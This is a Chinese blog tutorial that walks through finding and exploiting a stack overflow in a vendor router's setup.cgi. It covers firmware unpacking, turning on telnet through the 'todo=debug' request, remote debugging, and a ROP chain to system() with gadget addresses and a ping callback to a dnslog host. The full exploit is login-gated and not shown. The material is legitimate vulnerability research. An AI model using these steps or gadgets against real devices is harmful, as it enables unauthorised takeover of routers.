Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 攻防对抗 › 「日志记录」从零起步揭开路由器漏洞挖掘的面纱

「日志记录」从零起步揭开路由器漏洞挖掘的面纱

Eswlnk的头像
Eswlnk
2025-02-07 18:15:56
「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog
智能摘要 AI
本文详细介绍了如何从零开始挖掘某厂商路由器的漏洞,特别适合新手。主要内容包括: 1. **固件分析**:使用Binwalk工具解包并分析固件,发现目标文件`setup.cgi`存在栈溢出漏洞。 2. **漏洞分析**:通过逆向分析发现`sub_555BA950`函数未对`fw_out_rules`环境变量进行长度检查,导致栈溢出。 3. **动态调试**:配置gdb-multiarch和gef插件,编译并上传gdbserver到路由器,通过循环attach方式进行调试。 4. **漏洞利用**:构造payload劫持控制流,最终执行system命令。给出了完整的Python

前言

尽管现在已经有不少关于路由器漏洞挖掘的文章,但针对新手的、涉及环境配置和操作细节的教学资源仍然较为稀缺。本文将带领你一步步了解如何从零开始挖掘某厂商路由器的漏洞,通过实际操作与工具使用,深入学习固件分析、动态调试及漏洞利用的完整过程,希望能帮助读者减少不必要的摸索与误区。

固件分析

安装与配置binwalk

Binwalk 是一个用于固件分析的工具,能够帮助我们提取和分析嵌入式固件镜像。首先,我们需要安装 binwalk。binwalk 的作者为 Ubuntu 系统提供了专门的依赖安装脚本,只需运行 deps.sh,就能大大简化安装过程。

安装步骤如下:

git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
sudo python3 setup.py install
sudo ./deps.sh

在开始漏洞挖掘之前,我们需要下载并解包目标路由器的固件。以某厂商路由器为例,首先从其官网下载固件,并使用 binwalk 进行解包操作:

binwalk -Me 

漏洞分析

目标漏洞信息

该目标路由器使用的是MIPSEL架构,漏洞位于 setup.cgi 文件中(CGI脚本通常是路由器漏洞的常见所在,因此值得特别关注,这也是相对容易利用的地方)。

通过执行以下命令可以查看 setup.cgi 文件的类型信息:

file setup.cgi

输出结果显示:

setup.cgi: ELF 32-bit LSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

其中,setup.cgi 文件是一个32位MIPS架构的动态链接共享库,使用了 /lib/ld-uClibc.so.0 作为解释器,并且文件已经被剥离。

该文件的 main 函数位于 setup_main 函数中。

逆向分析

通过对 setup.cgi 的逆向分析,发现 sub_555BA950 函数从 nvram 中获取了环境变量 fw_out_rules 的值。然而,这个值没有进行有效的长度检查,并且在 sscanf 中以不安全的方式进行格式化写入,导致栈溢出漏洞的产生。这个漏洞可以被利用来覆盖栈上的数据,进而执行恶意代码。

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

通过交叉引用fw_out_rules可以发现该环境变量在sub_55567D8C被设置。

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

交叉引用上面所说的两个函数 可以发现都是通过ActionTab方式按名调用,分别是rule_list_simple_out和outmove可以在固件解包的目录下grep搜索对应的字符串找到对应的外部接口,下面结合前端后端进行分析。

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

直接访问fw_rules.htm,搞几个规则,使用 nvram show | grep fw_out_rules 可以看到这个变量储存的是Service name还有一些数字啥的。

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog
「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

所以我们需要控制请求里的 service_list参数,来修改fw_out_rules,最后访问BKS_service_add.htm触发栈溢出。

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

动态调试

路由器配置

开启telnet

虽然该款路由器开启调试的方式早已公开,但是为了弄清楚细节,最好的办法是手工逆一下。

其中函数CallActionByName通过查ActionTab表比对参数todo的值方式来调用函数todo中的参数对应函数

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

注意到这个部分在许多函数中都有出现,搜索发现是一个为了修CNNVD-201306-024而写的一个check(IoT 分析 | 路由器漏洞频发,mirai 新变种来袭 – 云+社区 – 腾讯云 (tencent.com))。

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

所以可以通过todo=debug开启telnet

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog
192.168.1.1/setup.cgi?todo=debug
telnet 192.168.1.1
「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

编译gdbserver

在路由器上也要进行相应的调试配置

注意路由器是小端序,参数加上-EL

搭建iot动态调试环境_九层台-CSDN博客

sudo apt-get install linux-libc-dev-mipsel-cross
sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross
sudo apt-get install binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu
sudo apt-get install g++-mipsel-linux-gnu
wget https://ftp.gnu.org/gnu/gdb/gdb-10.1.tar.xz
tar xvf gdb-10.1.tar.xz
cd gdb-10.1
CC="mips-linux-gnu-gcc -EL" CXX="mips-linux-gnu-g++" ./configure --target=mips-linux-gnu --host="mips-linux-gnu" --prefix="/root/tgdb" LDFLAGS="-static"
make -j7

编译不了,不知道为啥(

这里下一个

https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt

HatLab Tools Library: 海特实验室IoT安全工具/环境整合 – Gitee.com

上传gdbserver

比较好的办法是使用http server

python -m http.server 9999
wget http://192.168.1.2:9999/gdbserver
「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

附加二进制的坑点

由于setup.cgi不是持久存在的,需要循环attach,这个脚本可以解决。

int=1
while [ $int -le 1000 ]; do
    /tmp/gdbserver 0.0.0.0:12345 --attach `ps -A | grep setup.cgi | awk '{print $1}' | head -n 1`
done

调试端配置

环境: Ubuntu 21

安装gef

gef是异构动态调试做的比较好的一款gdb插件,推荐使用。

bash -c "$(wget http://gef.blah.cat/sh -O -)"<br>

安装gdb-multiarch

普通的gdb无法调试mips架构的二进制,所以你需要gdb-multiarch,Ubuntu的话直接使用apt就可以进行安装了。

sudo apt install gdb-multiarch

gdb调试配置

为了让gdb正确进行调试,首先需要进行一下环境配置。

set arch mips
set endian little
gef-remote 192.168.1.1:12345
「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

在调试过程可以断到gadget,以及加载libc符号,如果觉得每次敲gdb命令比较繁琐,可以将gdb的命令保存成文件,然后在使用gdb-multiarch通过-x选项直接通过文件加载命令:

set arch mips
set endian little
gef-remote 192.168.1.1:12345
b *0x555BAC2C
gdb-multiarch setup.cgi -x ./gdb.cmd<br>

IDA反汇编出来的base可能跟实际基址不一样,可以调出实际的基址再rebase一下。

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

漏洞利用

函数栈

mips调用函数时将返回地址放在 $ra,与x86架构类似,在函数起始处压栈,结束时弹出,通过ja指令跳到返回地址,所以需要溢出到var_s24来劫持控制流。

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

执行system

介绍一下 mips 下神奇的函数调用:

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

在这里跳到 $t9 也就是 system 之后,会执行一下下面的那条语句(也就是 5B068 处的语句)之后才继续在 system 里面执行

那么这个gadget 我们就可以把 sp + 0xa8 + 0x88 处放一个command的指针,这样就会调用 system(ptr) 了

然后执行命令可以执行 ping 命令(其中 ping 需要绝对路径,需要注意):

/bin/ping hv14uf.dnslog.cn -c 2

寻找gadgets

MIPS架构推荐使用ropper进行查找,查找时可以参考可被控制的寄存器来筛选gadget。

file setup.cgi
search addiu $a0

一开始找到了这个,后来发现怎么也打不通

0x5556af20: addiu $a0, $sp, 0x18; lw $ra, 0x5c($sp); lw $v0, 0x18($sp); jr $ra; addiu $sp, $sp, 0x60; 
0x55567650: la $t9, system; nop; jalr $t9; nop;

后来翻了翻CTF中常见的C语言输入函数截断属性总结 | Clang裁缝店 (xuanxuanblingbling.github.io)发现是0x20截断了,所以我们system执行的command也需要绕过空格。

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

同时在FindForbidValue函数里也check了一些敏感字符/关键字,包含这些字符的请求包将会被丢弃。

<img src="https://s2.loli.net/2022/01/13/1r5sHdV8MGNlgLY.png" alt="image-20220112183944202.png" style="zoom: 67%;" />

后来还是用原来的(,将command写到 $a0-0x60上,跳到0x55567650执行就行了。

0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20; 
0x55567650: la $t9, system; nop; jalr $t9; nop;

如果你也比较懒的的话,可以用cyclic -l来找偏移。

「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog

调试时发现$a0的值会随长度变化而变化,所以得填充一下,调试时用的长度500,这里也pad到500,如果想执行更长的命令,可以增加一下payload长度。

最终exp

您需要登录才能查看完整内容

立即登录
已经登录?立即刷新
「日志记录」从零起步揭开路由器漏洞挖掘的面纱-Eswlnk Blog
本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
声明:本站原创文章文字版权归本站所有,转载务必注明作者和出处;本站转载文章仅仅代表原作者观点,不代表本站立场,图文版权归原作者所有。如有侵权,请联系我们删除。
python安全攻防对抗漏洞网络安全路由器
1
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
「攻防对抗」NSmartProxy流量特征的真实表现与应用
上一篇
「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 「漏洞资讯」CVE-2025-12914:宝塔面板曝出注入漏洞
  • 小工具开发之EdgeOne免费计划兑换工具
  • 研究日志:ERA5-Land数据解析问题
  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
  • 漏洞资讯:Ollama 未授权访问漏洞分析与防护指南
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

「高危漏洞」xz 和 liblzma 5.6.0~5.6.1 被植入后门,威胁所有 x64 架构 Linux 和 macOS 用户
2024-03-30 13:25:59
DEF CON 30 CTF Quals | Teedium Wallet 复盘
2023-07-29 17:50:42
「漏洞资讯」CVE-2024-38077 的漏洞利用概念验证(PoC)代码发布
2024-08-09 22:54:55

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.807 秒   |  SQL查询 22 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈